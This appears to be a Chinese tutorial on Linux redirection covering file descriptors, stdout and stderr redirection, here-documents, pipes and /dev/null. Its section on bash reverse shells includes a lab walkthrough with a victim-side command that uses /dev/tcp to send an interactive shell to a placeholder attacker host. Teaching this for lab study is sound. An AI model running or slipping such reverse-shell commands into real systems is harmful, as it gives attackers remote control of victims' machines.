Linux重定向
重定向可以改变命令的输入和输出默认路径。
而重定向操作符允许我们改变这些通道的方向。例如,我们可以使用 > 操作符将命令的输出保存到一个文件中,而不是打印到屏幕上。
1.FD:文件描述符(File Descriptor)目录
动态生成:当进程启动时,内核会在 /proc虚拟文件系统中为该进程创建一个以 PID 命名的目录(如 /proc/1234/),其中的 fd/子目录存储该进程的所有文件描述符信息
符号链接形式:fd/目录下的文件以数字命名(如 0、1、2),这些数字对应进程的文件描述符编号,并通过符号链接指向实际资源(如 /dev/pts/0、/var/log/file.log等)
1.查看进程id
1 | ps aux #查看进程 可以看到123.txt在进程 |

2.找到fd目录
1 | #进程启动时会在啊/proc中为进程创建进程id命名的目录,进入查看 |
可以找到fd文件描述符目录确实存在

2.标准输入输出和错误输出流
首先深入了解输入、输出和错误这三个概念。
大多数命令从标准输入(stdin,通常是键盘)读取数据,将结果输出到标准输出(stdout,通常是屏幕),并将错误消息输出到标准错误(stderr,也通常是屏幕)。这三个通道默认情况下都是连接到我们的终端,即我们的屏幕和键盘。
每一个进程的fd目录下都会有0、1、2这三个文件描述符:
- 0:标准输入流
- 1:标准输出流
- 2:标准错误流
查看文件描述符
1 | ll fd #查看fd目录下的进程 |

首先可以看到这些进程的文件描述符是以符号链接(l)的形式存在的;其次可以看到0,1,2这些数字即对应进程的文件描述符编号,他们指向实际实际资源。
3.输出重定向
重定向:可以更改默认的输入和输出路径
输出重定向即将输出的内容更改路径,例如本来输出显示在屏幕的,重新定向让其输出到一个文件或其他。
1.标准输出重定向
语法:
1 | #1.覆盖写入 |
覆盖写入

追加写入

2.标准错误重定向
1 | #1.覆盖写入 |
覆盖写入

追加写入

3.合并标准输出和错误输出
语法:
1 | #两个方法 |

将 stdout 和 stderr 分别重定向到不同文件

4.输入重定向
重定向:可以更改默认的输入和输出路径
因此**输入重定向 **即 将输入的东西重新定向为你给的文件,字符串
1.基础输入重定向(<)
将文件内容作为命令的输入,替代键盘输入。
语法:
1 | command < file |
#此处相当于把我给定的桌面文件123.txt作为输入后正常输出

2.Here Document(<<)
是 Linux/Shell 中的一种特殊输入重定向方式,允许在脚本或命令行中直接嵌入多行文本块作为命令的标准输入(stdin),而无需依赖外部文件。其核心功能是简化多行文本的传递和处理,尤其适用于交互式命令或脚本中的动态内容生成
简而言之:将两个分隔符(如 EOF)之间的多行文本作为命令的输入。
语法:
1 | command << EOF |
实例:多行文本输入

分隔符基本规则:
任意合法字符串:分隔符可以是任何不包含空格或特殊字符的字符串(如 EOF、END、MYTEXT),但需满足以下条件:
(1)唯一性:分隔符不能在文本块内容中出现,否则会提前终止输入。
(2)独占一行:结束分隔符必须单独占一行,且前后不能有任何字符(包括空格)
(3)大小写敏感:EOF和 eof被视为不同的分隔符。
- 引号对分隔符的影响
1.未加引号的分隔符:默认启用变量替换、命令替换和算术扩展。
1 | cat << EOF |

2.加引号的分隔符(单/双引号):禁用所有替换,内容原样输出。
1 | cat << 'EOF'/"EOF" |

3.Here String(<<<)
将单行字符串作为命令的输入。
语法:
1 | command <<< "字符串" |
5.bash反弹shell
原理:
通过文件描述符重定向和 Linux 的特殊设备 /dev/tcp,将目标主机的 Shell 会话主动连接到攻击者监听的端口,实现远程交互式控制。
反弹shell顾名思义将shell反弹到攻击者主机,实际攻击中通过漏洞注入或诱骗执行命令将bash反弹的命令放到受害者主机,也就是下面一行代码,他利用了重定向功能,在本机将stdout和 stderr合并重定向到自己的主机,再将自己的输入也让其接受也就是输入重定向到tcp的连接,可以想象有一条电话线先实现输出从里面走,再将输入也指向这条线 ,最终把自己主机的输入输出用电话线送给受害者
攻击步骤:
1.攻击者首先开启端口监听
攻击者需先监听端口,目标主机“主动”连接,这是反弹 Shell 区别于正向 Shell(如 SSH)的关键(注意实验时候kali和Centos设置为同一网卡)
1 | ┌──(root㉿kali)-[~] |

2.在受害者主机插入命令
1 | bash -i >& /dev/tcp/IP/端口 (0>&1) |

可以看见kali此时可以直接在本机输入命令,同样可以看见输出直接操作受害者主机,实现了远程控制


不用0>&1就不会将攻击者的输入连接到tcp连接上,即只将受害者主机输入内容输出到攻击者主机 实现了重定向输出到攻击者主机


6.管道(|)
管道将一个进程的标准输出给另一个进程作为标准输入
用法:
1 | [root@farrah 桌面]# cat /etc/passwd | tail -3 |

7.黑洞设备(/dev/null)
可以说成是黑洞装置。为空,即不保存
可以把错误日志扔到黑洞设备,即丢掉错误输出。